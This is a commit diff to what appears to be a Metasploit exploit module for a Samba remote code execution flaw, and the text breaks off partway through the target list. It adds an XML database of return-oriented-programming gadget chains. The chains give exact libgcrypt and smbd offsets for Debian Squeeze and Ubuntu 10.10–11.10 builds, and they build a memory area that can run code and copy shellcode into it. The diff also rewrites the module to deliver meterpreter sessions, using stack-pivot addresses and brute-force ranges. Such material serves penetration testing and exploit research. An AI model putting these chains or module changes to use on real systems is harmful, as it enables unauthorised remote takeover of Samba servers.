add meterpreter/command support to samba exploit using ROP
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9a0a063048
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3855ba88b1
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<?xml version="1.0" encoding="ISO-8859-1"?>
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<db>
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<rop>
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<compatibility>
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<target>Debian Squeeze / 2:3.5.6~dfsg-3squeeze6</target>
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</compatibility>
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<!--
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dpkg -l|grep libgcrypt
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ii libgcrypt11 1.4.5-2 LGPL Crypto library - runtime library
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b6977000-b69e8000 r-xp 00000000 08:01 160176 /usr/lib/libgcrypt.so.11.5.3
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b69e8000-b69eb000 rw-p 00070000 08:01 160176 /usr/lib/libgcrypt.so.11.5.3
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-->
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<gadgets base="0">
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<gadget offset="0x00004d44">pop ebx ; pop ebp ; ret</gadget>
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<gadget offset="0x00071ad4">offset of .got.plt section</gadget>
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<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
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<gadget offset="0x00063dbf">pop eax; ret</gadget>
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<gadget offset="0x00071af4">mmap@got - 4</gadget>
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<gadget offset="0x000166f7">mov eax, dword [eax+0x04] ; ret || eax = @mmap</gadget>
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<gadget offset="0x00009974">jmp eax</gadget>
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<gadget offset="0x00004d41">add esp, 0x14 ; pop ebx ; pop ebp ; ret || mmap ret, skip overt mmap arguments</gadget>
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<gadget value ="0x00000000">mmap arg : addr</gadget>
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<gadget value ="0x00001000">mmap arg : size</gadget>
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<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
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<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
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<gadget value ="0xffffffff">mmap arg : filedes </gadget>
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<gadget value ="0x00000000">mmap arg : off_t </gadget>
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<gadget value ="0x00000000">junk to be skipped over</gadget>
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<gadget offset="0x0006a761">pop edx ; inc ebx ; ret</gadget>
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<gadget offset="0x00073000">edx = writable location, in GOT</gadget>
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<gadget offset="0x0004159f">mov dword [edx], eax ; mov byte [edx+0x06], cl ; mov byte [edx+0x07], al ; pop ebp ; ret || save EAX (mmaped addr) in GOT</gadget>
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<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
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<gadget offset="0x0005d4c3">xchg eax, edx ; ret || edx = MMAPed addr, dst in memcpy</gadget>
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<gadget offset="0x00060a1a">pop esi ; ret</gadget>
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<gadget offset="0x0005c01b">pop ebp ; pop ecx ; ret || ecx = esp</gadget>
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<gadget offset="0x0003da28">push esp ; and al, 0x0C ; call esi</gadget>
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<gadget offset="0x00063dbf">pop eax ; ret</gadget>
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<gadget value ="0x0000005c">eax = value to add to esp to point to shellcode</gadget>
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<gadget offset="0x000538c4">add eax, ecx ; pop edi ; pop ebp ; ret</gadget>
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<gadget value ="0x00000000">edi = junk to be skipped over</gadget>
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<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
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<gadget offset="0x00055743">xchg eax, ebx ; ret || ebx = esp + XX == src in memcpy</gadget>
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<gadget offset="0x00063dbf">pop eax; ret</gadget>
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<gadget offset="0x00071b6c">memcpy@got - 4</gadget>
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<gadget offset="0x000166f7">mov eax, dword [eax+0x04] ; ret || eax = @memcpy</gadget>
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<gadget offset="0x00055743">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
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<!-- set ecx to same value than edx -->
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<gadget offset="0x0006e61f">xchg eax, esi ; ret || save eax</gadget>
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<gadget offset="0x00063dbf">pop eax; ret</gadget>
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<gadget offset="0x00072ffc">saved mmaped addr - 4</gadget>
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<gadget offset="0x000166f7">mov eax, dword [eax+0x04] ; ret || eax = saved mmaped addr</gadget>
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<gadget offset="0x0005c914"> xchg eax, ecx ; ret ; || edx = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
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<gadget offset="0x0006e61f"> xchg eax, esi ; ret ; || restore eax</gadget>
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<gadget offset="0x00060a1a">pop esi ; ret</gadget>
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<gadget offset="0x00071ad4">esi = offset of .got.plt section</gadget>
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<gadget offset="0x00008505">pop edi ; pop ebp **1** ; ret</gadget>
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<gadget offset="0x00004d0c">(P) pop ebx ; pop esi ; pop edi ; ret || pop .got.plt in ebx (was pushed through esi with pushad)</gadget>
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<gadget value ="0x00000000">junk for ebp **1** </gadget>
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<gadget offset="0x0005b68a">pushad ; ret || will ret on gadget (P) which was in edi</gadget>
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<gadget value ="size">payload size</gadget>
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</gadgets>
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</rop>
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<rop>
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<compatibility>
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<target>Ubuntu 11.10 / 2:3.5.8~dfsg-1ubuntu2</target>
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<target>Ubuntu 11.10 / 2:3.5.11~dfsg-1ubuntu2</target>
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</compatibility>
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<!--
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dpkg -l|grep libgcr
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ii libgcrypt11 1.5.0-1 LGPL Crypto library - runtime library
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b69e3000-b6a65000 r-xp 00000000 08:01 148828 /lib/i386-linux-gnu/libgcrypt.so.11.7.0
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b6a65000-b6a66000 r**p 00081000 08:01 148828 /lib/i386-linux-gnu/libgcrypt.so.11.7.0
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b6a66000-b6a68000 rw-p 00082000 08:01 148828 /lib/i386-linux-gnu/libgcrypt.so.11.7.0
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-->
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<gadgets base="0">
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<gadget offset="0x000048ee">pop ebx ; ret</gadget>
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<gadget offset="0x00082ff4">offset of .got.plt section</gadget>
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<gadget offset="0x0006933f">pop eax; ret</gadget>
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<gadget offset="0x000830a4">mmap@got - 4</gadget>
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<gadget offset="0x0001a0d4">mov eax, dword [eax+0x04] ; ret || eax = @mmap</gadget>
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<gadget offset="0x00007d79">jmp eax</gadget>
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<gadget offset="0x00005646">add esp, 0x1C; ret || mmap ret, skip overt mmap arguments</gadget>
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<gadget value ="0x00000000">mmap arg : addr</gadget>
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<gadget value ="0x00001000">mmap arg : size</gadget>
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<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
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<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
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<gadget value ="0xffffffff">mmap arg : filedes </gadget>
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<gadget value ="0x00000000">mmap arg : off_t </gadget>
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<gadget value ="0x00000000">junk to be skipped over</gadget>
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<gadget offset="0x0006fe61">pop edx ; inc ebx ; ret</gadget>
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<gadget offset="0x00084000">edx = writable location, in GOT</gadget>
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<gadget offset="0x00046dcd">mov dword [edx], eax ; mov byte [edx+0x06], cl ; mov byte [edx+0x07], al ; ret || save EAX (mmaped addr) in GOT</gadget>
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<gadget offset="0x00008532">xchg eax, ecx ; ret || ecx = MMAPed addr, dst in memcpy</gadget>
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<gadget offset="0x000438ad">mov eax, ecx ; pop ebp ; ret</gadget>
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<gadget value ="0x00000000">junk for ebp</gadget>
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<gadget offset="0x000056e8">mov edx, eax ; mov eax, edx ; ret || edx = eax = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
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<gadget offset="0x0006933f">pop eax ; ret</gadget>
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<gadget offset="0x00084100">eax = writable location, in GOT</gadget>
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<gadget offset="0x000048ee">pop ebx ; ret</gadget>
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<gadget offset="0x00084100">ebx = writable location, in GOT</gadget>
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<gadget offset="0x0004cccf">push esp ; add dword [eax], eax ; add byte [ebx+0x5E], bl ; pop edi ; pop ebp ; ret || edi = esp</gadget>
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<gadget value ="0x00000000">junk for ebp</gadget>
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<gadget offset="0x00020bad">mov eax, edi ; pop ebx ; pop esi ; pop edi ; ret</gadget>
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<gadget value ="0x00000000">junk for ebx</gadget>
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<gadget value ="0x00000048">esi = value to add to esp to point to shellcode</gadget>
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<gadget value ="0x00000000">junk for edi</gadget>
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<gadget offset="0x0001ffef">xchg eax, ebx ; ret</gadget>
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<gadget offset="0x0000c39c">add ebx, esi ; ret || ebx = esp + XX == src in memcpy</gadget>
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<gadget offset="0x0006933f">pop eax; ret</gadget>
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<gadget offset="0x00083024">memcpy@got - 4</gadget>
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<gadget offset="0x0001a0d4">mov eax, dword [eax+0x04] ; ret || eax = @mmap</gadget>
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<gadget offset="0x0001ffef">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
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<gadget offset="0x00004803">pop esi ; ret</gadget>
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<gadget offset="0x00082ff4">esi = offset of .got.plt section</gadget>
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<gadget offset="0x00007af3">pop edi ; pop ebp **1** ; ret</gadget>
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<gadget offset="0x000104c5">(P) pop ebx ; pop esi ; pop edi ; ret || pop .got.plt in ebx (was pushed through esi with pushad)</gadget>
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<gadget value ="0x00000000">junk for ebp **1** </gadget>
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<gadget offset="0x0001fdfa">pushad ; ret || will ret on gadget (P) which was in edi</gadget>
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<gadget value ="size">payload size</gadget>
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</gadgets>
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</rop>
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<rop>
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<compatibility>
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<target>Ubuntu 11.04 / 2:3.5.8~dfsg-1ubuntu2</target>
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</compatibility>
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<!--
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dpkg -l|grep libgcr
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ii libgcrypt11 1.4.6-4ubuntu2 LGPL Crypto library - runtime library
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b69f8000-b6a69000 r-xp 00000000 08:01 17571 /lib/i386-linux-gnu/libgcrypt.so.11.6.0
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b6a69000-b6a6a000 r**p 00070000 08:01 17571 /lib/i386-linux-gnu/libgcrypt.so.11.6.0
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b6a6a000-b6a6c000 rw-p 00071000 08:01 17571 /lib/i386-linux-gnu/libgcrypt.so.11.6.0
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we arrive on rop chain with pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
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4 first pops are after pop esp
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-->
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<gadgets base="0">
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<gadget offset="0x00071ff4">ebx = offset of .got.plt section</gadget>
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<gadget value ="0x00000000">esi = junk to be skipped over</gadget>
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<gadget value ="0x00000000">edi = junk to be skipped over</gadget>
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<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
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<gadget offset="0x000641ff">pop eax; ret</gadget>
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<gadget offset="0x00072010">mmap@got - 4</gadget>
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<gadget offset="0x00017af7">mov eax, dword [eax+0x04] ; ret || eax = @mmap</gadget>
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<gadget offset="0x00007f19">jmp eax</gadget>
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<gadget offset="0x000046b1">add esp, 0x14 ; pop ebx ; pop ebp ; ret || mmap ret, skip overt mmap arguments</gadget>
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<gadget value ="0x00000000">mmap arg : addr</gadget>
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<gadget value ="0x00001000">mmap arg : size</gadget>
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<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
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<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
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<gadget value ="0xffffffff">mmap arg : filedes </gadget>
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<gadget value ="0x00000000">mmap arg : off_t </gadget>
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<gadget value ="0x00000000">junk to be skipped over</gadget>
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<gadget offset="0x0006abc1">pop edx ; inc ebx ; ret</gadget>
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<gadget offset="0x00073000">edx = writable location, in GOT</gadget>
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<gadget offset="0x00041b85">mov dword [edx], eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret || save EAX (mmaped addr) in GOT</gadget>
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<gadget value ="0x00000000">junk to be skipped over</gadget>
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<gadget offset="0x0005822d">esi = pop ebx ; pop esi ; pop edi ; ret</gadget>
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<gadget value ="0x00000000">junk to be skipped over</gadget>
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<gadget value ="0x00000000">junk to be skipped over</gadget>
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<gadget offset="0x0005d903">xchg eax, edx ; ret || edx = eax , after memcpy, ret on edx, ie mmaped addr</gadget>
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<gadget offset="0x00043cd5">push esp ; and al, 0x08 ; mov dword [esp+0x04], 0x00000008 ; call esi || after call, esi = esp </gadget>
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<gadget value ="0x00000000">junk to be skipped over</gadget>
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<gadget offset="0x00005c60">xchg eax, esi ; ret</gadget>
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<gadget offset="0x0005c45c">pop ecx ; ret</gadget>
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<gadget value ="0x0000005c">value to add to esp to point to shellcode</gadget>
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<gadget offset="0x00053dc4">add eax, ecx ; pop edi ; pop ebp ; ret</gadget>
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<gadget value ="0x00000000">edi = junk to be skipped over</gadget>
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<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
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<gadget offset="0x0005c6e9">xchg eax, ebx ; ret || ebx = src in memcpy</gadget>
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<gadget offset="0x000641ff">pop eax; ret</gadget>
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<gadget offset="0x00072ffc">writable add in GOT - 4</gadget>
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<gadget offset="0x00017af7">mov eax, dword [eax+0x04] ; ret || eax = mmaped addr</gadget>
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<gadget offset="0x0005cd54">xchg eax, ecx ; ret || ecx = MMAPed addr, dst in memcpy</gadget>
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<gadget offset="0x000641ff">pop eax; ret</gadget>
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<gadget offset="0x0007204c">memcpy@got - 4</gadget>
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<gadget offset="0x00017af7">mov eax, dword [eax+0x04] ; ret || eax = @memcpy</gadget>
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<gadget offset="0x0005c6e9">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
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<gadget offset="0x00060e5a">pop esi ; ret</gadget>
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<gadget offset="0x00071ff4">esi = offset of .got.plt section</gadget>
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<gadget offset="0x00007d05">pop edi ; pop ebp **1** ; ret</gadget>
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<gadget offset="0x0005822d">(P) pop ebx ; pop esi ; pop edi ; ret || pop .got.plt in ebx (was pushed through esi with pushad)</gadget>
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<gadget value ="0x00000000">junk for ebp **1** </gadget>
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<gadget offset="0x0005baca">pushad ; ret || will ret on gadget (P) which was in edi</gadget>
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<gadget value ="size">payload size</gadget>
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</gadgets>
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</rop>
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<rop>
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<compatibility>
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<target>Ubuntu 10.10 / 2:3.5.4~dfsg-1ubuntu8</target>
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</compatibility>
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<!--
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dpkg -l|grep libgcrypt
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ii libgcrypt11 1.4.5-2ubuntu1 LGPL Crypto library - runtime library
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b6a20000-b6a91000 r-xp 00000000 08:01 17247 /lib/libgcrypt.so.11.5.3
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b6a91000-b6a92000 r**p 00070000 08:01 17247 /lib/libgcrypt.so.11.5.3
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b6a92000-b6a94000 rw-p 00071000 08:01 17247 /lib/libgcrypt.so.11.5.3
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-->
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<gadgets base="0">
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<gadget offset="0x00004634">pop ebx ; pop ebp ; ret</gadget>
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<gadget offset="0x00071ff4">offset of .got.plt section</gadget>
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<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
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<gadget offset="0x0006421f">pop eax; ret</gadget>
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<gadget offset="0x00072010">mmap@got - 4</gadget>
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<gadget offset="0x00016297">mov eax, dword [eax+0x04] ; ret || eax = @mmap</gadget>
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<gadget offset="0x0000922c">jmp eax</gadget>
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<gadget offset="0x00004631">add esp, 0x14 ; pop ebx ; pop ebp ; ret || mmap ret, skip overt mmap arguments</gadget>
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<gadget value ="0x00000000">mmap arg : addr</gadget>
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<gadget value ="0x00001000">mmap arg : size</gadget>
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<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
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<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
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<gadget value ="0xffffffff">mmap arg : filedes </gadget>
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<gadget value ="0x00000000">mmap arg : off_t </gadget>
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<gadget value ="0x00000000">junk to be skipped over</gadget>
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<gadget offset="0x0006abc1">pop edx ; inc ebx ; ret</gadget>
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<gadget offset="0x00073000">edx = writable location, in GOT</gadget>
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<gadget offset="0x000417af">mov dword [edx], eax ; mov byte [edx+0x06], cl ; mov byte [edx+0x07], al ; pop ebp ; ret || save EAX (mmaped addr) in GOT</gadget>
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<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
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<gadget offset="0x0005d923">xchg eax, edx ; ret || edx = MMAPed addr, dst in memcpy</gadget>
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<gadget offset="0x00060e7a">pop esi ; ret</gadget>
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<gadget offset="0x0005c47b">pop ebp ; pop ecx ; ret || ecx = esp</gadget>
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<gadget offset="0x0003dbd8">push esp ; and al, 0x0C ; call esi</gadget>
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<gadget offset="0x0006421f">pop eax ; ret</gadget>
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<gadget value ="0x0000005c">eax = value to add to esp to point to shellcode</gadget>
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<gadget offset="0x00053c64">add eax, ecx ; pop edi ; pop ebp ; ret</gadget>
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<gadget value ="0x00000000">edi = junk to be skipped over</gadget>
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<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
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<gadget offset="0x00043999">xchg eax, ebx ; ret || ebx = esp + XX == src in memcpy</gadget>
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<gadget offset="0x0006421f">pop eax; ret</gadget>
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<gadget offset="0x00072094">memcpy@got - 4</gadget>
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<gadget offset="0x00016297">mov eax, dword [eax+0x04] ; ret || eax = @memcpy</gadget>
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<gadget offset="0x00043999">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
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||||
<!-- set ecx to same value than edx -->
|
||||
<gadget offset="0x0006ea7f">xchg eax, esi ; ret || save eax</gadget>
|
||||
<gadget offset="0x0006421f">pop eax; ret</gadget>
|
||||
<gadget offset="0x00072ffc">saved mmaped addr - 4</gadget>
|
||||
<gadget offset="0x00016297">mov eax, dword [eax+0x04] ; ret || eax = saved mmaped addr</gadget>
|
||||
<gadget offset="0x0005cd74"> xchg eax, ecx ; ret ; || edx = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
|
||||
<gadget offset="0x0006ea7f"> xchg eax, esi ; ret ; || restore eax</gadget>
|
||||
<gadget offset="0x00060e7a">pop esi ; ret</gadget>
|
||||
<gadget offset="0x00071ff4">esi = offset of .got.plt section</gadget>
|
||||
<gadget offset="0x00007e05">pop edi ; pop ebp **1** ; ret</gadget>
|
||||
<gadget offset="0x00058245">(P) pop ebx ; pop esi ; pop edi ; ret || pop .got.plt in ebx (was pushed through esi with pushad)</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp **1** </gadget>
|
||||
<gadget offset="0x000128cc">pushad ; ret || will ret on gadget (P) which was in edi</gadget>
|
||||
<gadget value ="size">payload size</gadget>
|
||||
</gadgets>
|
||||
|
||||
|
||||
</rop>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<!-- ROP CHAIN for smbd 2:3.5.11~dfsg-1ubuntu2
|
||||
|
||||
<compatibility>
|
||||
<target>Ubuntu 11.10 / 2:3.5.11~dfsg-1ubuntu2</target>
|
||||
</compatibility>
|
||||
|
||||
<gadgets base="0">
|
||||
<gadget offset="0x0000f3b1">pop eax; ret</gadget>
|
||||
<gadget offset="0x00991ff0">mmap64@got</gadget>
|
||||
<gadget offset="0x002f3ea4">mov eax, dword [eax] ; ret || eax = @mmap64</gadget>
|
||||
<gadget offset="0x008c8997">jmp eax</gadget>
|
||||
<gadget offset="0x0009ee21">add esp, 0x14; pop ebx; pop ebp; ret || mmap64 ret, skip overt mmap arguments</gadget>
|
||||
<gadget value ="0x00000000">mmap arg : addr</gadget>
|
||||
<gadget value ="0x00001000">mmap arg : size</gadget>
|
||||
<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
|
||||
<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
|
||||
<gadget value ="0xffffffff">mmap arg : filedes </gadget>
|
||||
<gadget value ="0x00000000">mmap arg : off64_t part 1</gadget>
|
||||
<gadget value ="0x00000000">mmap arg : off64_t part 2</gadget>
|
||||
<gadget offset="0x0034fbd2">pop edx ; ret</gadget>
|
||||
<gadget offset="0x0099a000">edx = writable location, in GOT</gadget>
|
||||
<gadget offset="0x0034c2bc">mov dword [edx], eax ; ret; || save EAX (mmaped addr) in GOT</gadget>
|
||||
<gadget offset="0x001fc04c">mov ecx, eax; mov eax, ecx; ret || ecx = MMAPed addr, dst in memcpy</gadget>
|
||||
<gadget offset="0x000a1d24">mov edx, eax ; mov eax, edx ; ret || edx = eax = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
|
||||
<gadget offset="0x001e0d59">push esp ; pop ebx ; pop esi ; ret || ebx = esp</gadget>
|
||||
<gadget value ="0x00000000">junk for esi</gadget>
|
||||
<gadget offset="0x0036fd9a">pop ebp ; ret</gadget>
|
||||
<gadget value ="0x00000034">value to add to esp to point to shellcode</gadget>
|
||||
<gadget offset="0x001a73b2">add ebx, ebp ; ret || ebx = src in memcpy</gadget>
|
||||
<gadget offset="0x0008c5ac">pop eax; ret</gadget>
|
||||
<gadget offset="0x00991904">memcpy@got</gadget>
|
||||
<gadget offset="0x002f3ea4">mov eax, dword [eax] ; ret || eax = @memcpy</gadget>
|
||||
<gadget offset="0x001726b5">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
|
||||
<gadget offset="0x006a3bba">pop edi ; pop ebp **1** ; ret</gadget>
|
||||
<gadget offset="0x000b64ec">add esp, 0x4 ; pop esi ; pop edi ; ret || with pushad, will permit ret on ebx == memcpy</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp **1** </gadget>
|
||||
<gadget offset="0x0002ab2c">pushad, ret</gadget>
|
||||
<gadget value ="size">payload size</gadget>
|
||||
</gadgets>
|
||||
|
||||
|
||||
ROP CHAIN for smbd 2:3.5.8~dfsg-1ubuntu2
|
||||
<compatibility>
|
||||
<target>Ubuntu 11.10 / 2:3.5.8~dfsg-1ubuntu2</target>
|
||||
</compatibility>
|
||||
|
||||
<gadgets base="0">
|
||||
<gadget offset="0x0000f445">pop eax; ret</gadget>
|
||||
<gadget offset="0x008c1008">mmap64@got</gadget>
|
||||
<gadget offset="0x00348bb7">mov eax, dword [eax] ; ret || eax = @mmap64</gadget>
|
||||
<gadget offset="0x0009e8e4">jmp eax</gadget>
|
||||
<gadget offset="0x0009db61">add esp, 0x14; pop ebx; pop ebp; ret || mmap64 ret, skip overt mmap arguments</gadget>
|
||||
<gadget value ="0x00000000">mmap arg : addr</gadget>
|
||||
<gadget value ="0x00001000">mmap arg : size</gadget>
|
||||
<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
|
||||
<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
|
||||
<gadget value ="0xffffffff">mmap arg : filedes </gadget>
|
||||
<gadget value ="0x00000000">mmap arg : off64_t part 1</gadget>
|
||||
<gadget value ="0x00000000">mmap arg : off64_t part 2</gadget>
|
||||
<gadget offset="0x001f6142">pop edx ; ret</gadget>
|
||||
<gadget offset="0x008c9000">edx = writable location, in GOT</gadget>
|
||||
<gadget offset="0x00347b8c">mov dword [edx], eax ; pop ebp ; ret; || save EAX (mmaped addr) in GOT</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp</gadget>
|
||||
<gadget offset="0x0021d553">mov ecx, eax; mov eax, ecx; ret || ecx = MMAPed addr, dst in memcpy</gadget>
|
||||
<gadget offset="0x001b1fe0">mov edx, eax ; mov eax, edx ; ret || edx = eax = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
|
||||
<gadget offset="0x000e817f">push esp ; pop ebx ; pop ebp ; ret || ebx = esp</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp</gadget>
|
||||
<gadget offset="0x0000cdea">xchg eax, ebx ; ret || eax = esp</gadget>
|
||||
<gadget offset="0x00277540">pop ebp ; ret</gadget>
|
||||
<gadget value ="0x0000003c">value to add to esp to point to shellcode</gadget>
|
||||
<gadget offset="0x0011d3a6">add eax, ebp ; mov ebx, 0x81FFF807 ; ret </gadget>
|
||||
<gadget offset="0x0000cdea">xchg eax, ebx ; ret || ebx = esp + XX == src in memcpy</gadget>
|
||||
<gadget offset="0x0000f445">pop eax; ret</gadget>
|
||||
<gadget offset="0x008c0964">memcpy@got</gadget>
|
||||
<gadget offset="0x00348bb7">mov eax, dword [eax] ; ret || eax = @memcpy</gadget>
|
||||
<gadget offset="0x0000cdea">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
|
||||
<gadget offset="0x0009ee99">pop edi ; pop ebp **1** ; ret</gadget>
|
||||
<gadget offset="0x00148cc6">add esp, 0x4 ; pop esi ; pop ebp ; ret || with pushad, will permit ret on ebx == memcpy</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp **1** </gadget>
|
||||
<gadget offset="0x0000dbcf">pushad, ret</gadget>
|
||||
<gadget value ="size">payload size</gadget>
|
||||
</gadgets>
|
||||
-->
|
||||
<!-- ROP CHAIN for smbd 2:3.5.6~dfsg-3squeeze6
|
||||
<compatibility
|
||||
<target>Debian Squeeze / 2:3.5.6~dfsg-3squeeze6</target>
|
||||
</compatibility>
|
||||
<gadgets base="0">
|
||||
<gadget offset="0x00021cd9">pop eax; ret</gadget>
|
||||
<gadget offset="0x008cf86c">mmap64@got</gadget>
|
||||
<gadget offset="0x002fd4a7">mov eax, dword [eax] ; ret || eax = @mmap64</gadget>
|
||||
<gadget offset="0x000234e5">jmp eax</gadget>
|
||||
<gadget offset="0x000b0331">add esp, 0x14; pop ebx; pop ebp; ret || mmap64 ret, skip overt mmap arguments</gadget>
|
||||
<gadget value ="0x00000000">mmap arg : addr</gadget>
|
||||
<gadget value ="0x00001000">mmap arg : size</gadget>
|
||||
<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
|
||||
<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
|
||||
<gadget value ="0xffffffff">mmap arg : filedes </gadget>
|
||||
<gadget value ="0x00000000">mmap arg : off64_t part 1</gadget>
|
||||
<gadget value ="0x00000000">mmap arg : off64_t part 2</gadget>
|
||||
<gadget offset="0x0001cf12">pop edx ; ret</gadget>
|
||||
<gadget offset="0x008d6000">edx = writable location, in GOT</gadget>
|
||||
<gadget offset="0x00353f4c">mov dword [edx], eax ; pop ebp ; ret; || save EAX (mmaped addr) in GOT</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp</gadget>
|
||||
<gadget offset="0x000b98e9">mov ecx, eax; mov eax, ecx; ret || ecx = MMAPed addr, dst in memcpy</gadget>
|
||||
<gadget offset="0x006bffd2">mov edx, ecx ; mov eax, edx ; pop ebp ; ret || edx = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp</gadget>
|
||||
<gadget offset="0x003660e4">push esp ; pop ebx ; pop ebp ; ret || ebx = esp</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp</gadget>
|
||||
<gadget offset="0x00394107">pop ebp ; ret</gadget>
|
||||
<gadget value ="0x00000034">value to add to esp to point to shellcode</gadget>
|
||||
<gadget offset="0x0017892d">add ebx, ebp ; ret || ebx = src in memcpy</gadget>
|
||||
<gadget offset="0x00021cd9">pop eax; ret</gadget>
|
||||
<gadget offset="0x008cf1e8">memcpy@got</gadget>
|
||||
<gadget offset="0x002fd4a7">mov eax, dword [eax] ; ret || eax = @memcpy</gadget>
|
||||
<gadget offset="0x0001f666">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
|
||||
<gadget offset="0x000b9ac5">pop edi ; pop ebp **1** ; ret</gadget>
|
||||
<gadget offset="0x0033e7ea">add esp, 0x4 ; pop esi ; pop ebp ; ret || with pushad, will permit ret on ebx == memcpy</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp **1** </gadget>
|
||||
<gadget offset="0x00020453">pushad, ret</gadget>
|
||||
<gadget value ="size">payload size</gadget>
|
||||
</gadgets>
|
||||
-->
|
||||
</db>
|
||||
|
|
@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
include Msf::Exploit::Remote::DCERPC
|
||||
include Msf::Exploit::Remote::SMB
|
||||
include Msf::Exploit::Brute
|
||||
include Msf::Exploit::RopDb
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
|
|
@ -34,7 +34,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
[
|
||||
'Unknown', # Vulnerability discovery
|
||||
'blasty', # Exploit
|
||||
'mephos', # Debian Squeeze target
|
||||
'mephos', # Metasploit module
|
||||
'sinn3r', # Metasploit module
|
||||
'juan vazquez' # Metasploit module
|
||||
],
|
||||
|
|
@ -50,64 +50,88 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Payload' =>
|
||||
{
|
||||
'DisableNops' => true,
|
||||
'Space' => 811,
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'generic bash telnet python perl'
|
||||
}
|
||||
'Space' => 600,
|
||||
},
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
# 'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'Platform' => ['unix', 'linux'],
|
||||
# smbd process is killed soon after being exploited, need fork with meterpreter
|
||||
'DefaultOptions' => { "PrependSetreuid" => true, "PrependSetregid" => true, "PrependFork" => true, "AppendExit" => true, "WfsDelay" => 5},
|
||||
'Targets' =>
|
||||
[
|
||||
# gdb /usr/sbin/smbd `ps auwx | grep smbd | grep -v grep | head -n1 | awk '{ print $2 }'` <<< `echo -e "print system"` | grep '$1'
|
||||
['2:3.5.11~dfsg-1ubuntu2 and 2:3.5.8~dfsg-1ubuntu2 on Ubuntu 11.10',
|
||||
['2:3.5.11~dfsg-1ubuntu2 on Ubuntu 11.10',
|
||||
{
|
||||
'Arch' => ARCH_X86,
|
||||
'Offset' => 0x11c0,
|
||||
'Bruteforce' =>
|
||||
{
|
||||
# The start for the final version should be 0xb20 aligned, and then step 0x1000.
|
||||
'Start' => { 'Ret' => 0x00230b20 },
|
||||
'Stop' => { 'Ret' => 0x22a00b20 },
|
||||
'Step' => 0x1000
|
||||
}
|
||||
'Ropname' => 'Ubuntu 11.10 / 2:3.5.8~dfsg-1ubuntu2',
|
||||
'Stackpivot' => 0x0004393c, # xchg eax, esp ; ret in /lib/i386-linux-gnu/libgcrypt.so.11.7.0
|
||||
'Start' => 0xb67f1000 ,
|
||||
'Stop' => 0xb6a5b000 ,
|
||||
'Step' => 0x1000,
|
||||
}
|
||||
],
|
||||
['2:3.5.8~dfsg-1ubuntu2 and 2:3.5.4~dfsg-1ubuntu8 on Ubuntu 11.04',
|
||||
['2:3.5.8~dfsg-1ubuntu2 on Ubuntu 11.10',
|
||||
{
|
||||
'Arch' => ARCH_X86,
|
||||
'Offset' => 0x11c0,
|
||||
'Bruteforce' =>
|
||||
{
|
||||
# The start should be 0x950 aligned, and then step 0x1000.
|
||||
'Start' => { 'Ret' => 0x00230950 },
|
||||
'Stop' => { 'Ret' => 0x22a00950 },
|
||||
'Step' => 0x1000
|
||||
}
|
||||
'Ropname' => 'Ubuntu 11.10 / 2:3.5.8~dfsg-1ubuntu2',
|
||||
